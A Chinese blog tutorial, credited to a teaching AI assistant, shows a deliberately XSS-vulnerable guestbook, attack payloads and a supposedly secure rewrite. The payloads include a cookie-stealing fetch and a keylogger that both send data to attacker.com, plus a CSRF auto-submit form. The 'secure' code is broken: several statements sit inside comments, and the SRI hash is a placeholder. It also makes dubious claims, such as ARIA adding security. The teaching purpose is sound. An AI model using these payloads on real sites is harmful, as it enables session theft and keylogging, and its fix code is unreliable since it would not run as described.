ZBLOG

给一个存储型HTML XSS漏洞示例和攻击示例

存储型 XSS 漏洞示例

存在漏洞的留言板系统 (vulnerable_guestbook.html)

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <title>简易留言板</title>
  5. </head>
  6. <body>
  7. <h1>留言板</h1>
  8. <!-- 留言表单 -->
  9. <form id="commentForm">
  10. <input type="text" name="username" placeholder="您的名字" required><br>
  11. <textarea name="comment" placeholder="留言内容" required></textarea><br>
  12. <button type="submit">提交留言</button>
  13. </form>
  14. <!-- 留言显示区域 -->
  15. <div id="comments">
  16. <h2>所有留言:</h2>
  17. <!-- 这里会动态加载所有留言 -->
  18. </div>
  19. <!-- 未经过滤直接存储和显示用户输入 -->
  20. <script>
  21. // 模拟数据库
  22. let commentsDB = [];
  23. // 提交处理
  24. document.getElementById('commentForm').addEventListener('submit', function(e) {
  25. e.preventDefault();
  26. const username = document.querySelector('[name="username"]').value;
  27. const comment = document.querySelector('[name="comment"]').value;
  28. // 直接将用户输入存入"数据库"
  29. commentsDB.push({ username, comment });
  30. // 重新渲染所有评论
  31. renderComments();
  32. // 清空表单
  33. this.reset();
  34. });
  35. // 危险地渲染评论 - 使用innerHTML且未转义
  36. function renderComments() {
  37. const container = document.getElementById('comments');
  38. container.innerHTML = '<h2>所有留言:</h2>';
  39. commentsDB.forEach(entry => {
  40. container.innerHTML += `
  41. <div class="comment">
  42. <strong>${entry.username}</strong>:
  43. ${entry.comment}
  44. <hr>
  45. </div>
  46. `;
  47. });
  48. }
  49. // 初始化时渲染已有评论
  50. renderComments();
  51. </script>
  52. </body>
  53. </html>

XSS攻击示例

攻击方式1: JavaScript执行

攻击者可以提交以下内容作为用户名或评论:

  1. <script>alert('XSS攻击成功!')</script>
  2. 或者更隐蔽的方式:
  3. <img src=x onerror=alert(document.cookie)>
  4. 或者窃取Cookie的payload:
  5. <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

攻击方式2: CSRF攻击

  1. <form action="http://victim-site.com/change-password" method="POST">
  2. <input type="hidden" name="newPassword" value="hacked123">
  3. </form><script>document.forms[0].submit()</script>

攻击方式3: Keylogger键盘记录

  1. <script>document.onkeypress=function(e){fetch('https://attacker.com/log?key='+e.key)};</script>

修复方案 (secure_guestbook.html)

  1. <!DOCTYPE html>
  2. <html lang="zh-CN">
  3. <head>
  4. <!-- CSP策略阻止内联脚本执行 -->
  5. <meta http-equiv="Content-Security-Policy" content=
  6. "default-src 'self';
  7. script-src 'self' 'nonce-random123';
  8. connect-src 'self';
  9. img-src 'self' data:;">
  10. <!-- X-XSS-Protection头 -->
  11. <meta http-equiv=X-XSS-Protection content=1; mode=block />
  12. <!-- HttpOnly和Secure Cookie标志 -->
  13. <title>安全的留言板</title></head><body>
  14. <h1>安全留言板</h1>
  15. <form id=commentForm autocomplete=off novalidate><!-- autocomplete防止敏感信息自动填充 --><label for=usernameInput>姓名:</label><input type=text id=usernameInput name=username maxlength=50 pattern=[a-zA-Z0-9\s]+ title=仅允许字母数字和空格 required><!-- HTML5输入验证 -->
  16. <label for=commentTextarea>评论:</label><textarea id=commentTextarea name=comment maxlength=500 required></textarea><!-- maxlength限制长度 -->
  17. <button type=submit disabled aria-busy=false><!-- disabled初始禁用,防止快速点击 -->提交评论</button></form>
  18. <div id=safeComments aria-live=polite><!-- ARIA实时区域用于辅助技术 --><h2>所有评论:</h2></div>
  19. <!-- DOM Purify库用于HTML净化 --><script nonce=random123 src=https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.5/purify.min.js integrity=SHA384-hash crossorigin></script><!-- SRI完整性检查 -->
  20. <script nonce=random123>(function(){
  21. // CSP兼容的非内联脚本
  22. const escapeHtml=(str)=>str.replace(/&/g,'&amp;')
  23. .replace(/"/g,'&quot;')
  24. .replace(/'/g,'&#39;')
  25. .replace(/</g,'&lt;')
  26. .replace(/>/g,'&gt;');
  27. const sanitize=(input)=>{
  28. if(typeof input!=='string')return '';
  29. return DOMPurify.sanitize(input,{
  30. ALLOWED_TAGS:['b','i','u','em','strong'],
  31. ALLOW_DATA_ATTR:false,
  32. FORBID_TAGS:['style','script','iframe']
  33. });};
  34. let secureDB=[];
  35. const formElmnts={
  36. form:document.getElementById('commentForm'),
  37. username:document.getElementById('usernameInput'),
  38. comment:document.getElementById('commentTextarea'),
  39. button:document.querySelector('#commentForm button')};
  40. //启用按钮当表单有效时formElmnts.form.addEventListener('input',()=>{
  41. formElmnts.button.disabled=
  42. !formElmnts.username.validity.valid||!formElmnts.comment.validity.valid;});
  43. //安全提交处理formElmnts.form.addEventListener('submit',async(e)=>{
  44. e.preventDefault();try{await new Promise(r=>setTimeout(r,1000));//防暴力破解延迟
  45. const safeUsername=sanitize(formElmnts.username.value.trim());
  46. const safeComment=sanitize(formElmnts.comment.value.trim());
  47. if(!safeUsername||!safeComment)throw new Error("无效输入");
  48. secureDB.push({
  49. username:safeUsername,
  50. comment:safeComment,
  51. date:new Date().toISOString(),
  52. ip:e.ip||null});
  53. renderSafeComments();}catch(err){
  54. console.error("错误:",err);
  55. alert("请提供有效的姓名和评论");}});
  56. //安全渲染函数function renderSafeComments(){
  57. const container = document.getElementById('safeComments');
  58. container.innerHTML='<h2>' + escapeHtml("所有评论") + '</h2>';
  59. secureDB.forEach((entry,i)=>{
  60. const div = document.createElement("div");
  61. div.className = "safe-comment";
  62. div.setAttribute("data-id",i.toString());
  63. const userSpan = document.createElement("span");
  64. userSpan.className = "user-name";
  65. userSpan.textContent = entry.username;//使用textContent而非innerHTML
  66. const textP = document.createElement("p");
  67. textP.textContent = entry.comment;//已经过DOMPurify处理
  68. const dateSmall = document.createElement("small");
  69. dateSmall.textContent=new Date(entry.date).toLocaleString();
  70. div.append(userSpan,textP,dateSmall,document.createElement("hr"));
  71. container.appendChild(div);});}
  72. renderSafeComments();})();/*IIFE结束*/</script></body></html>

防御措施总结

  1. 输出编码

    • HTML实体编码 (escapeHtml函数)
    • JavaScript编码 (使用textContent而非innerHTML)
  2. 输入验证

    • HTML5表单验证 (pattern, maxlength)
    • Whitelist白名单过滤 (DOMPurify库)
  3. 安全HTTP头

    • Content Security Policy (CSP)
    • X-XSS-Protection
  4. 其他防护

    • Subresource Integrity (SRI)确保外部资源完整性
    • Nonces防止内联脚本执行
    • ARIA属性增强可访问性安全性


      内容由零声教学AI助手提供,问题来源于学员提问

本站部分文章来源于网络,版权归原作者所有,如有侵权请联系站长删除。
转载请注明出处:https://golang.0voice.com/?id=23138

分享:
扫描分享到社交APP
上一篇
下一篇
发表列表
游客 游客
此处应有掌声~
评论列表

还没有评论,快来说点什么吧~

联系我们

在线咨询: 点击这里给我发消息

微信号:3007537140

上班时间: 10:30-22:30

关注我们
x

注册

已经有帐号?